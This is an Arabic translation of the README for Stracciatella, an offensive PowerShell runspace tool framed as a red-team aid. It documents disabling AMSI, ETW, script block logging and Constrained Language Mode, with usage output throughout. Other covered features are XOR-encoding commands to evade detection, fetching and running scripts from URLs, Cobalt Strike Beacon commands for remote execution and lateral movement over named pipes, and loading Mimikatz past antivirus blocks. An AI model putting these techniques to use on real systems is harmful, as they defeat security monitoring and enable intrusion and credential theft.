
مُساحة تشغيل Powershell آمنة من منظور عمليات الأمن (OpSec) من داخل C# (المعروفة بـ SharpPick) مع تعطيل AMSI ووضع اللغة المقيد وتسجيل كتل البرامج النصية عند بدء التشغيل.
مساحة تشغيل PowerShell من داخل C# (تُعرف بتقنية SharpPick) مع تعطيل AMSI وETW وتسجيل كتل النصوص (Script Block Logging) لراحتك.
في الوقت الحالي، وبعد أن تم تجهيز PowerShell بشكل كبير باستخدام تقنيات مثل:
يجب على المهاجمين المتقدمين إيجاد طرق لتجاوز هذه الجهود من أجل تقديم تمارين محاكاة خصومة متطورة. للمساعدة في هذه الجهود، تم إنشاء المشروع التالي.
هذا البرنامج مبني على تجاوزات لتقنيات محددة مضمنة في:
والتي بدورها كانت مبنية على الأبحاث التالية:
فكرة SharpPick، أي تشغيل سكربتات PowerShell من داخل تجميع C# باستخدام مساحات التشغيل (Runspaces) ليست جديدة أيضًا، وقد تم تنفيذها لأول مرة بواسطة Lee Christensen (@tifkin_) في:
أيضًا، الكود المصدري يستعير تنفيذ CustomPSHost من Lee.
هذا المشروع يرث من الأبحاث المذكورة أعلاه ومن مجتمع الأمن الرائع لتوفير بيئة PowerShell قريبة من الفعالية مع تعطيل الدفاعات عند بدء التشغيل.
الآن يُجمّع بسهولة مع .NET 4.0 بينما إذا تم تجميعه مع .NET Framework 4.7.1+ يتم تضمين وظيفة إضافية تسمح بتفريغ مكتبات DLL التي تشكل أدوات تجاوز CLM ومحاولة حذفها بعد ذلك (تعمل بصعوبة لنكون صادقين).
أفضل أداء تحصل عليه مع Stracciatella المُجمّع مع .NET 4.0.
هناك عدة خيارات متاحة:
PS D:\> Stracciatella -h
:: Stracciatella - مساحة تشغيل PowerShell مع تعطيل AMSI وETW وتسجيل كتل النصوص.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
الاستخدام: stracciatella.exe [options] [command]
-s <path>, --script <path> - مسار الملف الذي يحتوي على سكربت PowerShell للتنفيذ. إذا لم تُعطَ أي خيارات، سيدخل
في حلقة شبه-شيل. يمكن أن يكون هذا أيضًا رابط HTTP(S) لتحميل وتنفيذ سكربت PowerShell.
-v, --verbose - يطبع معلومات تفصيلية
-n, --nocleanup - لا تقم بإزالة بقايا تعطيل CLM (ملفات DLL في TEMP ومفاتيح التسجيل COM).
بشكل افتراضي ستتم إزالتها دائمًا.
-C, --leaveclm - لا تحاول تعطيل CLM. أكثر تمويهاً. سيتجنب ترك بقايا تعطيل CLM غير محذوفة.
-f, --force - استمر في التنفيذ حتى لو لم يتم تعطيل دفاعات PowerShell.
بشكل افتراضي نخرج عند الفشل.
-c, --command - ينفذ الأوامر المحددة. يمكنك إما استخدام -c أو إلحاق الأوامر بعد
معاملات stracciatella: cmd> straciatella ipconfig /all
إذا تم إعطاء معاملات الأمر والسكربت، ينفذ الأمر بعد تشغيل السكربت.
-x <key>, --xor <key> - اعتبار الإدخال مشفرًا بـ XOR، حيث <key> هو مفتاح بايت واحد بالعشري
(أسبق بـ 0x للسداسي عشر)
-p <name>, --pipe <name> - قراءة أوامر PowerShell من أنبوب مسمى محدد. يجب أن يسبق الأمر بـ 4 بايت من
طوله مشفرًا بـ little-endian (ترميز الطول-القيمة).
-t <millisecs>, --timeout <millisecs>
- يحدد مهلة لعملية قراءة الأنبوب (بالمللي ثانية). الافتراضي: 60 ثانية. 0 - غير محدود.
-e, --cmdalsoencoded - اعتبار أمر الإدخال (المحدد في '--command') مشفرًا أيضًا.
يفك تشفير أمر الإدخال بعد فك تشفير وتشغيل ملف السكربت الإدخالي.
بشكل افتراضي، نفك تشفير ملف الإدخال فقط ونعتبر الأمر معطى بنص عادي
البرنامج يقبل الأمر ومسار ملف السكربت كمدخل. كلاهما اختياري، إذا لم يُعطَ أي منهما - سيبدأ شبه-شيل. يمكن ترميز كل من الأمر والسكربت باستخدام XOR أحادي البايت (سينتج مخرجات مشفرة بـ Base64) لتجربة OpSec أفضل.
فيما يلي بعض الأمثلة التي توضح حالات الاستخدام:
PS D:\> Stracciatella.exe -v
:: Stracciatella - مساحة تشغيل PowerShell مع تعطيل AMSI وETW وتسجيل كتل النصوص.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] إصدار PowerShell: 5.1
[.] وضع اللغة: FullLanguage
[+] ليست هناك حاجة لتعطيل وضع اللغة المقيدة. بالفعل في FullLanguage.
[+] تم تعطيل تسجيل كتل النصوص.
[+] تم تعطيل AMSI.
[+] تم تعطيل ETW.
Stracciatella D:\> $PSVersionTable
Name Value
---- -----
PSVersion 5.1.18362.1
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.18362.1
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
أولاً، لإعداد العبارات المشفرة يمكننا استخدام سكربت encoder.py المرفق، الذي يمكن استخدامه كالتالي:
PS D:\> python encoder.py -h
الاستخدام: encoder.py [options] <command|file>
positional arguments:
command يحدد إما أمرًا أو مسار ملف سكربت للترميز
optional arguments:
-h, --help يُظهر رسالة المساعدة هذه ويخرج
-x KEY, --xor KEY يحدد مفتاح ترميز XOR للأمر/الملف (بايت واحد)
-o PATH, --output PATH
(اختياري) ملف الإخراج. إذا لم يُعطَ - سيطبع الإخراج إلى stdout
PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode"
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU
ثم نُغذي مخرجات encoder.py كمدخل لأمر مشفر لـ Stracciatella:
PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1
:: Stracciatella - مساحة تشغيل PowerShell مع تعطيل AMSI وETW وتسجيل كتل النصوص.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] سيتم تحميل ملف السكربت: '.\Test2.ps1'
[+] تم تعطيل AMSI.
[+] تم تعطيل ETW.
[+] تم تعطيل تسجيل كتل النصوص.
[.] وضع اللغة: FullLanguage
PS> & '.\Test2.ps1'
PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode
[+] نعم، لقد عمل حقًا.
It works like a charm!
FullLanguage
بينما:
Command تم بناؤه من الأوامر التالية: Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))Test2.ps1 - يحتوي على: "ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM=" (Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))يأتي Stracciatella مع سكربت Aggressor الذي عند تحميله يعرض الأمر stracciatella في وحدة تحكم Beacon. الاستخدام مشابه جدًا لـ powerpick (عن طريق استيراد سكربتات PowerShell مسبقًا عبر stracciatella-import). سيتم ترميز معامل الإدخال بمفتاح عشوائي وتمريره عبر أنبوب مسمى عشوائي إلى مساحة تشغيل Stracciatella.
الأوامر التالية لـ Cobalt Strike متاحة:
واحدة من الاستراتيجيات للعمل مع Stracciatella يمكن أن تكون تكوين مهلة قراءة أنبوب طويلة بما يكفي (1)، تشغيلها على جهاز بعيد (2) وبالتالي الحصول على خيار للحركة الجانبية عبر أنبوب مسمى بمساعدة صغيرة من Stracciatella.
الميزة على powerpick هي أن Stracciatella لا يصحح AMSI.dll بالطريقة التي يفعلها Powerpick (تصحيح AmsiScanBuffer)، وبالتالي يولد ضوضاء جنائية أقل كما تراه EDRs التي تبحث عن تصحيحات في الذاكرة. أيضًا، سيكون Stracciatella قادرًا في النهاية على تجاوز وضع اللغة المقيدة بطريقة مستقرة وهو ما لا يمكن حاليًا باستخدام powerpick:
beacon> stracciatella-import PowerView.ps1
[+] host called home, sent: 143784 bytes
beacon> stracciatella Get-Domain
[*] Tasked Beacon to run Stracciatella: Get-Domain
[+] host called home, sent: 264483 bytes
[+] received output:
Forest : contoso.local
DomainControllers : {dc.contoso.local}
Children : {us.eu.contoso.local}
DomainMode : Unknown
DomainModeLevel : 7
Parent : contoso.local
PdcRoleOwner : dc.eu.contoso.local
RidRoleOwner : dc.eu.contoso.local
InfrastructureRoleOwner : dc.eu.contoso.local
Name : eu.contoso.local
أخيرًا، يمكن استخدام Stracciatella بسهولة بواسطة أدوات أخرى / C2s التي لا تقدم أي وظيفة لتجاوز حماية PowerShell.
كلما أعاد stracciatella الخطأ 2 (ERROR_FILE_NOT_FOUND) فذلك لأن Stracciatella انتهت مهلة أثناء الانتظار الداخلي لكتابة البيانات إلى أنبوبها المسمى.
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 03:32:50] host called home, sent: 1007245 bytes
[+] [11/02 03:33:13] host called home, sent: 191805 bytes
[-] Could not connect to pipe (\\.\pipe\85f2acfe-2ca9-4364-af08-f1c654966c1a): 2.
يمكن معالجة ذلك عن طريق ضبط معامل المهلة الخاص بـ Stracciatella باستخدام:
beacon> stracciatella-timeout 600000
beacon> stracciatella Resolve-IPAddress dc1.bank.corp
[*] Tasked Beacon to run Stracciatella: Resolve-IPAddress dc1.bank.corp
[+] [11/02 04:01:11] host called home, sent: 1007265 bytes
[+] [11/02 04:01:33] host called home, sent: 191805 bytes
[+] received output:
ComputerName IPAddress
------------ ---------
dc1.bank.corp 10.10.10.5
سكربت aggressor المرتبط يستخدم روتينات Beacon الداخلية للكتابة إلى أنبوب مسمى عشوائي، والذي سيتم الاستماع إليه من قبل منطق Stracciatella من الناحية الأخرى. سينتظر الطرف المستقبل للبيانات الواردة لفترة من الوقت (معامل --timeout في خيارات Stracciatella، الافتراضي 60 ثانية) وإذا لم تصل بيانات - ستنتهي المهلة ويخرج بلطف. بخلاف ذلك، سيتم فك تشفير الأوامر المستقبلة وتنفيذها كالمعتاد.
أحيانًا يكون لدينا سكربتات PowerShell التي لا تعرض أي دالة أو تحمل وحدات .NET بشكل عكسي نود استدعاءها من بيئة تشغيل PowerShell. لتسهيل حالة الاستخدام هذه، يمكن استخدام أمر Beacon stracciatella-script <scriptpath> <command>. يقرأ ملف سكربت PowerShell المحدد ويضيف الأمر <command> المعطى مفصولاً بفاصلة منقوطة إلى ذلك السكربت.
يكتشف سكربت Aggressor الخاص بـ Stracciatella (CNA) ما إذا كان BOF.NET محملاً وإذا كان الأمر كذلك، يعرض أمرًا:
bofnet_loadstracciatella
الذي يصدر bofnet_load stracciatella.exe. بالإضافة إلى ذلك، سيعمل Stracciatella بعد ذلك من خلال bofnet_jobassembly بدلاً من execute-assembly المضمنة في Cobalt.
هذا السلوك قابل للتعديل عن طريق تغيير المتغير العام في سكربت stracciatella.cna:
#
# إذا كان هناك BOF.NET محملاً في Cobalt Strike، فضل أمر `bofnet_jobassembly` على `execute-assembly`.
# هذا مفيد عندما نريد تغيير تكتيكاتنا إلى التشغيل المضمن/dاخل العملية عبر BOF.NET بدلاً من fork & run.
#
$FAVOR_BOFNET_INSTEAD_OF_EXECUTE_ASSEMBLY = "true";
باستخدام الانعكاس (reflection)، كما اكتشف Matt Graeber، ولكن تم تعديل نهج هذا البرنامج قليلاً. بدلاً من الإشارة إلى الرموز بأسمائها، مثل "amsiInitFailed" - نبحث عنها بالمرور عبر كل Assembly و Method و Type و Field متاحة للجلب بشكل انعكاسي. ثم نعطل AMSI عن طريق التلاعب بالمتغيرات NonPublic & Static في تجميع Management.Automation. نفس الشيء ينطبق على تسجيل كتل النصوص، حيث استندت بعض الأفكار هنا إلى أبحاث Ryan Cobb (@cobbr).
في الواقع، يستخدم Stracciatella نفس التنفيذ المغطى بالفعل في ملفات Disable-*.ps1 المذكورة أعلاه.
أيضًا، لا نحاول تصحيح amsi.dll، هذا صاخب جدًا وقد يتم مراقبته عن كثب في المستقبل القريب بواسطة EDRs/HIPS/AVs. إفساد سلامة مكتبات النظام يفقد بالتأكيد أرضيته مقارنة بالتلاعب بالمتغيرات الانعكاسية.
Invoke-Mimikatz، من فضلك؟بالطبع، إليك:
PS D:\> "amsiInitFailed"
At line:1 char:1
+ "amsiInitFailed"
+ ~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> . .\Invoke-Mimikatz.ps1
At line:1 char:1
+ . .\Invoke-Mimikatz.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
PS D:\> .\Stracciatella.exe -v
:: Stracciatella - مساحة تشغيل PowerShell مع تعطيل AMSI وتسجيل كتل النصوص.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[-] يبدو أنه لم يتم إعطاء مسار سكربت.
[+] تم تعطيل AMSI.
[+] تم تعطيل ETW.
[+] تم تعطيل تسجيل كتل النصوص.
[.] وضع اللغة: FullLanguage
Stracciatella D:\> . .\Invoke-Mimikatz.ps1
Stracciatella D:\> Invoke-Mimikatz -Command "coffee exit"
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # coffee
( (
) )
.______.
| |]
\ /
`----'
mimikatz(powershell) # exit
Bye!
حاليًا، الطريقة التي يوفر بها Stracciatella مساحة تشغيل لأوامر PowerShell ليست الأكثر تمويهاً. نحن نقوم في الأساس بإنشاء مساحة تشغيل PowerShell، والتي تحمل التجميع (Assembly) المناسب لـ .NET. قد يعتبر هذا علامة على أن عملية stracciatella مشبوهة إلى حد ما.
هذا ومشاريع أخرى هي نتاج ليالٍ بلا نوم والكثير من العمل الشاق. إذا أعجبك ما أفعله وتقدر أنني دائمًا أعود للمجتمع، فكر في شراء قهوة لي (أو بالأحرى بيرة) فقط لتقول شكرًا! 💪
Mariusz Banach / mgeeky, '20-22
<mb [at] binary-offensive.com>
(https://github.com/mgeeky)
| أمر Cobalt Strike | الوصف |
|---|
stracciatella [-v] <command> | ينفذ الأوامر المعطاة |
stracciatella-remote [-v] <machine> <pipename> <command> | ينفذ الأوامر المعطاة على جهاز بعيد على أنبوب محدد |
stracciatella-import <scriptpath> | يستورد سكربت PowerShell لاستخدامه مع Stracciatella |
stracciatella-script <scriptpath> <command> | يحمل مسبقًا أمر PowerShell مع سكربت PowerShell (ps1) محدد (مزيج من stracciatella-import و stracciatella في عملية واحدة) |
stracciatella-clear | يمسح السكربت المستورد على ذلك Beacon |
stracciatella-timeout <milliseconds> | يضبط مهلة قراءة الأنبوب المسمى الافتراضية |
bofnet_loadstracciatella | يحمل Stracciatella.exe في BOF.NET (إذا كان مستخدمًا) |
bofnet_stracciatella <command> | (غير محظور) يشغل أوامر PowerShell في مساحة تشغيل Stracciatella آمنة عبر BOF.NET bofnet_jobassembly |
bofnet_executestracciatella <command> | (محظور) يشغل أوامر PowerShell في مساحة تشغيل Stracciatella آمنة عبر BOF.NET bofnet_executeassembly |
bofnet_stracciatella_script <scriptpath> <command> | يحمل مسبقًا سكربت PowerShell محدد ويطلق الأمر المعطى مع المعاملات (عبر BOF.NET) |